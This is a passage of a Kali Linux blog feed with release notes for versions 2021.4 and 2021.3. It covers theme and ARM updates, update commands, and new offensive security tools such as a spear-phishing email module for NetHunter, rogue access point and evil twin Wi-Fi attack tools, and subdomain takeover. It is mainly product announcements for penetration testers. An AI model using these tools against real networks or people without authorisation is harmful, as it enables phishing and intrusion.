&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.kali.org/blog/kali-linux-2021-4-release/https://www.youtube-nocookie.com/embed/RMXViPlehAo?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;h3 id="how-to-upgrade-your-kali-theme">How to Upgrade Your Kali Theme&lt;/h3>
&lt;p>With these theme changes, you &lt;strong>may not get them if you &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">upgrade&lt;/a>&lt;/strong> Kali. This is because the &lt;strong>theme settings&lt;/strong> are &lt;strong>copied&lt;/strong> to your &lt;strong>home folder&lt;/strong> when your &lt;strong>user is first created&lt;/strong>. When you upgrade Kali, it is &lt;strong>upgrading the operating system&lt;/strong>, so upgrading &lt;strong>does not alter personal files&lt;/strong> &lt;em>(just system files)&lt;/em>. As a result, in order to get these theme tweaks, you need to either:&lt;/p>
&lt;ul>
&lt;li>Do a fresh Kali install&lt;/li>
&lt;li>Create a new user and switch to that&lt;/li>
&lt;li>Delete your Desktop environment profile for the current user and force reboot. Example of Xfce can be found below:&lt;/li>
&lt;/ul>
&lt;pre>&lt;code class="language-console">kali@kali:~$ mv ~/.config/xfce4{,-$(date +%Y.%m.%d-%H.%M.%S)}
kali@kali:~$
kali@kali:~$ cp -rbi /etc/skel/. ~/
kali@kali:~$
kali@kali:~$ xfce4-session-logout --reboot --fast
&lt;/code>&lt;/pre>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-4-release/images/NH-SET.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-4-release/images/NH-SET.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Thanks to the amazing work of &lt;a href="https://twitter.com/yesimxev">@yesimxev&lt;/a>, we have a new addition to the NetHunter app: &lt;strong>The Social-Engineer Toolkit!&lt;/strong>&lt;/p>
&lt;p>This release features the first module from SET: the Spear Phishing Email Attack, with many more to come - watch this space&amp;hellip;&lt;/p>
&lt;p>Now you can use the Kali NetHunter app to customise your own Facebook, Messenger, or Twitter direct message email notifications for your social engineering attacks:&lt;/p>
&lt;video class="video-shortcode" preload="metadata" autoplay muted loop>
&lt;source src="https://www.kali.org/blog/kali-linux-2021-4-release/videos/setgif.mp4" >
Your browser does not support the video tag.
&lt;/video>
&lt;p>Thanks to everyone that contributed to this feature by participating in the &lt;a href="https://twitter.com/yesimxev/status/1451314339554660359">Twitter poll&lt;/a>. We could not have done it without your input!&lt;/p>
&lt;h2 id="kali-arm-updates">Kali ARM Updates&lt;/h2>
&lt;p>Notable changes this release&lt;/p>
&lt;ul>
&lt;li>&lt;strong>All images now use ext4 for their root filesystem&lt;/strong>, and &lt;strong>resize the root filesystem on first boot&lt;/strong>. This results in a speed-up over previous releases which were using ext3, and a reduced boot time on the first reboot when resize happens.&lt;/li>
&lt;li>&lt;strong>Raspberry Pi Zero 2 W support has been added&lt;/strong>, but like the Raspberry Pi 400, there is no Nexmon support.&lt;/li>
&lt;li>Speaking of the &lt;strong>Raspberry Pi Zero 2 W&lt;/strong>, since it is so similar to the Zero W, we have also added a &lt;strong>PiTail image&lt;/strong> to support the new processor with better performance.&lt;/li>
&lt;li>&lt;strong>Raspberry Pi images now support USB booting&lt;/strong> out of the box since we no longer hardcode the root device.&lt;/li>
&lt;li>&lt;strong>Raspberry Pi images now include versioned Nexmon firmware&lt;/strong>. A future release of &lt;code>kalipi-config&lt;/code> will allow you to switch between them, if you would like to test different versions.&lt;/li>
&lt;li>Images that use a vendor kernel will now be able to set the regulatory domain properly, so &lt;strong>setting your country will give access to channels properly for wireless&lt;/strong>.&lt;/li>
&lt;li>&lt;strong>Pinebook Pro can now be overclocked&lt;/strong>. The big cores get 2GHz and the little cores get 1.5GHz added.
&lt;ul>
&lt;li>&lt;code>echo 1 | sudo tee /sys/devices/system/cpu/cpufreq/boost&lt;/code> to enable&lt;/li>
&lt;li>&lt;code>echo 0 | sudo tee /sys/devices/system/cpu/cpufreq/boost&lt;/code> to disable&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>USBArmory MkII image has been added&lt;/strong>.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>&lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">Kali ARM build-scripts&lt;/a>&lt;/strong> have seen a massive amount of changes:&lt;/p>
&lt;ul>
&lt;li>They are vastly &lt;strong>more simplified&lt;/strong> - thanks to &lt;a href="https://twitter.com/frangalinux">Francisco Jose Rodriguez Martos&lt;/a>, and &lt;a href="https://gitlab.com/cyrus104">cyrus104&lt;/a> for all of their contributions to make this happen.&lt;/li>
&lt;li>You can now &lt;strong>choose which desktop&lt;/strong> you would like to install (or none at all using &lt;code>--minimal&lt;/code>)&lt;/li>
&lt;li>There is even an option of &lt;strong>no desktop and no tools&lt;/strong> (&lt;code>--slim&lt;/code>) if you would like to build a custom image up from scratch&lt;/li>
&lt;/ul>
&lt;h2 id="kali-docs-updates">Kali-Docs Updates&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/tools/flatpak/">Installing Flatpak on Kali Linux&lt;/a> is now well documented&lt;/li>
&lt;li>A new page for the &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-2-w/">Raspberry Pi Zero 2 W&lt;/a> has been added&lt;/li>
&lt;li>The &lt;a href="https://www.kali.org/docs/general-use/kali-branches/">Kali branches&lt;/a> page has been refreshed with best practices and references to &lt;code>kali-tweaks&lt;/code> that help you follow those best practices to enable (or disable) some of the supplementary repositories.&lt;/li>
&lt;li>We added a &lt;a href="https://www.kali.org/docs/tools/removed-tools/">list of removed tools&lt;/a> so that you can learn why a package got dropped from Kali.&lt;/li>
&lt;li>Thanks also to &lt;a href="https://gitlab.com/mayomacam">Aman Kumar Maurya&lt;/a> for the &lt;a href="https://www.kali.org/docs/general-use/install-nvidia-drivers-on-kali-linux/">nVidia&lt;/a> guide&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/em>&lt;/p>
&lt;hr>
&lt;h2 id="miscellaneous">Miscellaneous&lt;/h2>
&lt;p>&lt;strong>Kali-Cloud &amp;amp; Cron&lt;/strong>&lt;/p>
&lt;p>Some &lt;a href="https://twitter.com/DHAhole">users&lt;/a> noticed that the venerable &lt;code>cron&lt;/code> &lt;a href="https://pkg.kali.org/pkg/cron">package&lt;/a> was missing from the &lt;a href="https://www.kali.org/get-kali/#kali-cloud">Kali AWS Cloud image&lt;/a>. This was not intentional, and it&amp;rsquo;s now fixed.&lt;/p>
&lt;p>&lt;strong>Remote Desktop Protocol Audio&lt;/strong>&lt;/p>
&lt;p>&amp;ldquo;&lt;em>The quieter you become, the more you are able to hear&lt;/em>&amp;rdquo;, goes the saying. And for those running Kali in a VM and using RDP to connect, it&amp;rsquo;s been very quiet indeed, as the sound never worked with this configuration. However this long period of silence is coming to an end! Sound should be enabled and work out of the box from now on. If ever it does not, make yourself heard on the &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a> ;)&lt;/p>
&lt;p>&lt;strong>Python Command&lt;/strong>&lt;/p>
&lt;p>The command &lt;code>python&lt;/code> is no more! Instead, you need to use &lt;code>python3&lt;/code> (or &lt;a href="https://www.kali.org/docs/general-use/using-eol-python-versions/">if you have to&lt;/a>, &lt;code>python2&lt;/code> due it being at &lt;a href="https://www.kali.org/blog/python-2-end-of-life/">End Of Life&lt;/a>). Alternatively you can install &lt;code>python-is-python3&lt;/code> to restore &lt;code>python&lt;/code> as an alias for &lt;code>python3&lt;/code>.&lt;/p>
&lt;h2 id="download-kali-linux-20214">Download Kali Linux 2021.4&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Start &lt;a href="https://www.kali.org/get-kali/">downloading&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead.
This way you&amp;rsquo;ll have fewer updates to do.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ cp -rbi /etc/skel/. ~
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2021.4. We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2021.4&amp;quot;
VERSION_ID=&amp;quot;2021.4&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP Debian 5.14.16-1kali1 (2021-11-05)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.14.0-kali4-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We&amp;rsquo;ll never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a> is not a Bug Tracker!&lt;/strong>&lt;/p></description></item><item><title>Kali Linux 2021.3 Release (OpenSSL, Kali-Tools, Kali Live VM Support, Kali NetHunter Smartwatch)</title><link>https://www.kali.org/blog/kali-linux-2021-3-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2021-3-release/</guid><pubDate>Tue, 14 Sep 2021 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2021-3-release/images/banner-2021.3-release.jpg" type="image/jpg"/><description>&lt;p>Today we have released the newest version of &lt;strong>Kali Linux, 2021.3&lt;/strong> &lt;em>(quarter #3)&lt;/em>, which is now ready for &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updating&lt;/a>.&lt;/p>
&lt;p>A summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changes&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/">2021.2 release from June&lt;/a> are:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-3-release/#openssl-wide-compatibility-by-default">OpenSSL&lt;/a>&lt;/strong> - Wide compatibility by default - Keep reading for what that means&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-3-release/#kali-tools">New Kali-Tools site&lt;/a>&lt;/strong> - Following the footsteps of Kali-Docs, Kali-Tools has had a complete refresh&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-3-release/#virtualization-improvements-all-over-the-place">Better VM support in the Live image session&lt;/a>&lt;/strong> - Copy &amp;amp; paste and drag &amp;amp; drop from your machine into a Kali VM by default&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-3-release/#new-tools-in-kali">New tools&lt;/a>&lt;/strong> - From adversary emulation, to subdomain takeover to Wi-Fi attacks&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-3-release/#kali-nethunter-updates">Kali NetHunter smartwatch&lt;/a>&lt;/strong> - First of its kind, for TicHunter Pro&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2021-3-release/#desktop--theme-updates">KDE 5.21&lt;/a>&lt;/strong> - Plasma desktop received a version bump&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="openssl-wide-compatibility-by-default">OpenSSL: wide compatibility by default&lt;/h2>
&lt;p>Going forwards from Kali Linux 2021.3, OpenSSL has now been configured for &lt;strong>wider compatibility&lt;/strong> to allow Kali to talk to as many services as possible. This means that legacy protocols &lt;em>(such as TLS 1.0 and TLS 1.1)&lt;/em> and older ciphers are &lt;strong>enabled by default&lt;/strong>. This is done to help increase Kali&amp;rsquo;s ability to talk to older, obsolete systems and servers that are still using these older protocols. This may potentially increase your options on available attack surfaces &lt;em>(if your target has these End of Life (EoL) services running, having then forgotten about them, what else could this uncover?)&lt;/em>. While this is not a configuration that would be good for a general purpose operating systems, this setting makes sense for Kali as it enables the user to engage and talk with more potential targets.&lt;/p>
&lt;p>This setting is easy to modify via the command-line tool &lt;code>kali-tweaks&lt;/code> though. Enter the &lt;em>Hardening&lt;/em> section, and from there you can configure OpenSSL for &lt;strong>Strong Security&lt;/strong> mode instead, which uses today&amp;rsquo;s current modern standard allowing for secure communication.&lt;/p>
&lt;p>For more details, refer to the documentation: &lt;a href="https://www.kali.org/docs/general-use/openssl-configuration/">kali.org/docs/general-use/openssl-configuration/&lt;/a>&lt;/p>
&lt;h2 id="kali-tools">Kali-Tools&lt;/h2>
&lt;p>In &lt;a href="https://www.kali.org/blog/kali-linux-2019-4-release/">2019.4&lt;/a> we moved our documentation over to our updated &lt;a href="https://www.kali.org/docs/">/docs/&lt;/a> page. It&amp;rsquo;s now finally the turn of our &lt;a href="https://www.kali.org/tools/">Kali-Tools&lt;/a> site!&lt;/p>
&lt;p>We have refreshed every aspect of the previous site, giving a new, faster, layout, content, and system! The backend is now in a semi-automated state and more in the open, which like before, allows for anyone to help out and &lt;a href="https://www.kali.org/docs/community/contribute/">contribute&lt;/a>.&lt;/p>
&lt;p>Once these sites have settled down from all the changes and matured a bit, we will start to package these both up, allowing for offline reading.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-3-release/images/kali-tools.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-3-release/images/kali-tools.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="virtualization-improvements-all-over-the-place">Virtualization: improvements all over the place&lt;/h2>
&lt;p>The Kali Live image received some love during this release cycle! We worked hard to make the experience smoother for those who run the Live image in &lt;a href="https://www.kali.org/docs/virtualization/">virtualized environments&lt;/a>. Basic features like &lt;strong>copy&amp;rsquo;n&amp;rsquo;paste&lt;/strong> and &lt;strong>drag&amp;rsquo;n&amp;rsquo;drop&lt;/strong> between the host and the guest should now work out of the box. And this is really for everyone: VMware, VirtualBox, Hyper-V and QEMU+Spice. Did we forget anyone? Drop us a word on the &lt;a href="https://bugs.kali.org/">Kali bug tracker&lt;/a>!&lt;/p>
&lt;p>On the same line: it&amp;rsquo;s now very easy to configure Kali for &lt;a href="https://docs.microsoft.com/en-us/windows-server/virtualization/hyper-v/learn-more/use-local-resources-on-hyper-v-virtual-machine-with-vmconnect">&lt;strong>Hyper-V Enhanced Session Mode&lt;/strong>&lt;/a>. Open &lt;code>kali-tweaks&lt;/code> in a terminal, select &lt;code>Virtualization&lt;/code>, and if Kali is running under Hyper-V, you&amp;rsquo;ll see a setting to turn on Hyper-V Enhanced Session Mode. It&amp;rsquo;s now as simple as hitting Enter!&lt;/p>
&lt;p>If you use this feature, make sure to visit &lt;a href="https://www.kali.org/docs/virtualization/install-hyper-v-guest-enhanced-session-mode/">kali.org/docs/virtualization/install-hyper-v-guest-enhanced-session-mode/&lt;/a>, as there are a few additional things to be aware of.&lt;/p>
&lt;p>Many thanks to &lt;a href="https://gitlab.com/jetbennett">@Shane Bennett&lt;/a>, who spent a tremendous amount of time testing this feature, provided extremely detailed feedback all along, and even helped us with the documentation. Kudos Shane!&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>It wouldn&amp;rsquo;t be a Kali release if there weren&amp;rsquo;t any new tools added! A quick run down of what&amp;rsquo;s been added &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/berate-ap">Berate_ap&lt;/a> - Orchestrating MANA rogue Wi-Fi Access Points&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/caldera">CALDERA&lt;/a> - Scalable automated adversary emulation platform&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/eaphammer">EAPHammer&lt;/a> - Targeted evil twin attacks against WPA2-Enterprise Wi-Fi networks&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/hosthunter">HostHunter&lt;/a> - Recon tool for discovering hostnames using OSINT techniques&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/routerkeygenpc">RouterKeygenPC&lt;/a> - Generate default WPA/WEP Wi-Fi keys&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/subjack">Subjack&lt;/a> - Subdomain takeover&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/wpa-sycophant">WPA_Sycophant&lt;/a> - Evil client portion of EAP relay attack&lt;/li>
&lt;/ul>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-3-release/images/NHWheader.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-3-release/images/NHWheader.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="kali-nethunter-watch">Kali NetHunter Watch&lt;/h3>
&lt;p>We proudly introduce the world&amp;rsquo;s &lt;strong>first Kali NetHunter smartwatch, the TicHunter Pro&lt;/strong> thanks to the outstanding work of our very own NetHunter developer &lt;a href="https://twitter.com/yesimxev">@yesimxev&lt;/a>. It is still experimental, hence the features are limited to USB attacks, and some basic functions. The hardware also has limitations, as such a small battery won&amp;rsquo;t supply enough voltage for any OTG adapters, so huge antennas won&amp;rsquo;t stick out of your wrist! The future is very promising, bringing support for Nexmon and internal bluetooth usage.&lt;/p>
&lt;p>The image is available on our &lt;a href="https://www.kali.org/get-kali/">download page&lt;/a>.&lt;/p>
&lt;p>Please note that those images contain a &amp;ldquo;nano Kali rootfs&amp;rdquo; due to technical reasons. The detailed installation guide can be found in our &lt;a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-ticwatch-pro/">Kali documentation&lt;/a>. Feel free to join the adventure!&lt;/p>
&lt;h3 id="kali-nethunter-installation-via-magisk">Kali NetHunter Installation via Magisk&lt;/h3>
&lt;p>Thanks to the amazing work of &lt;a href="https://twitter.com/Mominul00650279">@Mominul Islam&lt;/a>, we can now bring &lt;strong>Kali NetHunter to Android 11 devices without a fully working TWRP&lt;/strong>!&lt;/p>
&lt;p>Each Kali NetHunter image can be flashed as a Magisk module. This work is still in its infancy and more work is needed to bring it up to par with the traditional installer through TWRP.&lt;/p>
&lt;p>One of the missing parts is the kernel installation. We haven&amp;rsquo;t been able to install the kernel through Magisk yet. That has to be done via kernel installers like the &amp;ldquo;Franco Kernel Manager&amp;rdquo;. If you are keen to get NetHunter onto your Android 11 device, just give it a crack. If you are interested in helping out with getting the kernel part finished, please get in touch with us through our &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-project/-/issues">GitLab issue tracker&lt;/a>. Any help is greatly appreciated!&lt;/p>
&lt;h3 id="kali-nethunter-installation-step-by-step-guide-for-our-preferred-device-the-oneplus-7">Kali NetHunter installation step-by-step guide for our preferred device, the OnePlus 7&lt;/h3>
&lt;p>Our &lt;strong>preferred device for Kali NetHunter is the OnePlus 7 running Android 10 (stock ROM)&lt;/strong>.&lt;/p>
&lt;p>For a step-by-step installation guide and links to all the files required to restore your phone to the latest stock Android 10 ROM, install TWRP, Magisk and Kali NetHunter, head over to our &lt;a href="https://www.kali.org/docs/nethunter/installing-nethunter-on-the-oneplus-7/">Kali documentation&lt;/a> page.&lt;/p>
&lt;h2 id="kali-arm-updates">Kali ARM Updates&lt;/h2>
&lt;p>We have been busy doing various tweaks and tinkering on our &lt;a href="https://www.kali.org/docs/arm/">Kali ARM images&lt;/a>, which covers:&lt;/p>
&lt;ul>
&lt;li>Our &lt;strong>&lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">Kali ARM build-scripts&lt;/a> have been re-worked&lt;/strong>.
&lt;ul>
&lt;li>Thanks to &lt;a href="https://gitlab.com/cyrus104">@cyrus104&lt;/a>, we now have a &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm/-/blob/main/gateworks-newport.sh">build-script to support the &lt;strong>Gateworks Newport&lt;/strong>&lt;/a> board, and he also added &lt;a href="https://www.kali.org/docs/arm/gateworks-newport/">documentation&lt;/a> for it.&lt;/li>
&lt;li>&lt;a href="https://twitter.com/re4sonkernel">@Re4son&lt;/a> contributed a &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm/-/blob/main/rpi0w-pitail.sh">build-script&lt;/a> for the Raspberry Pi Zero W based &lt;strong>&lt;a href="https://whitedome.com.au/re4son/pi-tail/">&amp;ldquo;Pi-Tail&amp;rdquo;&lt;/a>&lt;/strong> &lt;em>(Find &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-w-pi-tail/">more information here&lt;/a>)&lt;/em>.&lt;/li>
&lt;li>Additionally, the RaspberryPi Zero W based &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm/-/blob/main/rpi0w-nexmon-p4wnp1-aloa.sh">&lt;strong>&amp;ldquo;P4wnP1&amp;rdquo;&lt;/strong> build-script&lt;/a> has undergone some major changes.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>All images &lt;em>should&lt;/em> finally &lt;strong>resize the file-system on the first boot&lt;/strong>.&lt;/li>
&lt;li>We now &lt;strong>re-generate the default snakeoil cert&lt;/strong>, which fixes a couple of tools that were failing to run previously.&lt;/li>
&lt;li>Images default to &lt;code>iptables-legacy&lt;/code> and &lt;code>ip6tables-legacy&lt;/code> for &lt;strong>iptables support&lt;/strong>.&lt;/li>
&lt;li>We now &lt;strong>set a default locale&lt;/strong> of &lt;code>en_US.UTF-8&lt;/code> on all images, you can, of course, change this to your preferred locale.&lt;/li>
&lt;li>The &lt;strong>Kali user&lt;/strong> on ARM images is now in all of the &lt;strong>same groups&lt;/strong> as base images by default, and uses &lt;strong>zsh&lt;/strong> for the default shell. You can change your default shell by using the &lt;code>kali-tweaks&lt;/code> tool which also comes pre-installed.&lt;/li>
&lt;li>Raspberry Pi images can &lt;strong>now use a &lt;code>wpa_supplicant.conf&lt;/code> file on the &lt;code>/boot&lt;/code> partition&lt;/strong>.&lt;/li>
&lt;li>Raspberry Pi images &lt;strong>now come with &lt;code>kalipi-config&lt;/code>, and &lt;code>kalipi-tft-config&lt;/code>&lt;/strong> pre-installed.&lt;/li>
&lt;li>&lt;strong>Pinebook Pro&amp;rsquo;s kernel&lt;/strong> has been updated to &lt;strong>5.14&lt;/strong>, and you now get &lt;strong>messages on the LCD screen as it&amp;rsquo;s booting&lt;/strong>, instead of a blinking cursor until X starts.&lt;/li>
&lt;/ul>
&lt;h2 id="desktop--theme-updates">Desktop &amp;amp; Theme Updates&lt;/h2>
&lt;p>There are also some changes in the desktop space:&lt;/p>
&lt;ul>
&lt;li>Improved GTK3 theme for Xfce&amp;rsquo;s notifications and logout-dialog&lt;/li>
&lt;li>Redesigned GTK2 theme for a better fit of older programs&lt;/li>
&lt;li>Improved Kali-Dark and Kali-Light syntax-highlighting themes for GNOME and Xfce&lt;/li>
&lt;/ul>
&lt;p>In addition to these changes, one of Kali&amp;rsquo;s preferred desktops, KDE plasma, has received a version bump, now including version &lt;a href="https://kde.org/announcements/plasma/5/5.21.0/">5.21&lt;/a>. This update brings an updated look, with a new application launcher and theme improvements. Here&amp;rsquo;s a preview of how it looks with Kali&amp;rsquo;s customization:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2021-3-release/images/KDE_5.21.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2021-3-release/images/KDE_5.21.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kali-docs-updates">Kali-Docs Updates&lt;/h2>
&lt;p>Our documentation site, as well as the pages mentioned already in this blog post, the following other pages have received major changes:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/introduction/download-images-securely/">Download Kali Linux Images Securely&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/wsl/mesa-21/">Kali Linux &amp;amp; WSL &amp;amp; Mesa&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/community/kali-linux-irc-channel/">Kali Linux IRC Channel&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/development/contributing-runtime-tests/">Contributing runtime tests&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="gitlab-commit-2021">GitLab Commit 2021&lt;/h2>
&lt;p>We participated in GitLab&amp;rsquo;s virtual conference this year and &lt;a href="https://twitter.com/g0tmi1k">@g0tmi1k&lt;/a> gave a talk on the &lt;a href="https://www.youtube.com/watch?v=M7ixTe-6Oyw">Dynamic between Kali Linux and OffSec&lt;/a>. Give it a watch!&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.kali.org/blog/kali-linux-2021-3-release/https://www.youtube-nocookie.com/embed/M7ixTe-6Oyw?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;h2 id="ampere--arm">Ampere &amp;amp; ARM&lt;/h2>
&lt;p>Following our &lt;a href="https://www.kali.org/blog/ampere/">announcement&lt;/a> of our &lt;a href="https://www.kali.org/partnerships/">partnerships&lt;/a> with Ampere, we have now fully moved our ARM package building machines over to their hardware, and loving the speed increase! Thank you again to Ampere for the assistance! If you need some ARM servers give them a look! If they are nice enough to help us out this way, we are sure they will treat you good as well.&lt;/p>
&lt;hr>
&lt;h2 id="upcoming-changes">Upcoming Changes&lt;/h2>
&lt;p>Looking forward, we are going to be announcing the following changes:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Kali-Menu refresh&lt;/strong> - We know you may not use it, but for the people who do, we are planning on making some major alterations in its structure. This will hopefully be &lt;strong>live for testing in 2021.4&lt;/strong>, and then made default in a later release based on user response. You will be able to change the menu layout by using &lt;code>kali-tweaks&lt;/code>. If you want to provide input on this change, get engaged with us and make your voice heard!&lt;/li>
&lt;li>&lt;strong>Load Balancer&lt;/strong> (http.kali.org &amp;amp; cdimage.kali.org) - This handles apt packages as well as OS images. We will be switching from MirrorBrain to MirrorBits. We will be soon in touch with all the community mirror maintainers to give them notice of our infrastructure changes. If you would like to become a mirror, please see &lt;a href="https://www.kali.org/docs/community/setting-up-a-kali-linux-mirror/">our guide&lt;/a>.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="download-kali-linux-20213">Download Kali Linux 2021.3&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Start &lt;a href="https://www.kali.org/get-kali/">downloading&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the those who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead. This way you&amp;rsquo;ll have fewer updates to do. &lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
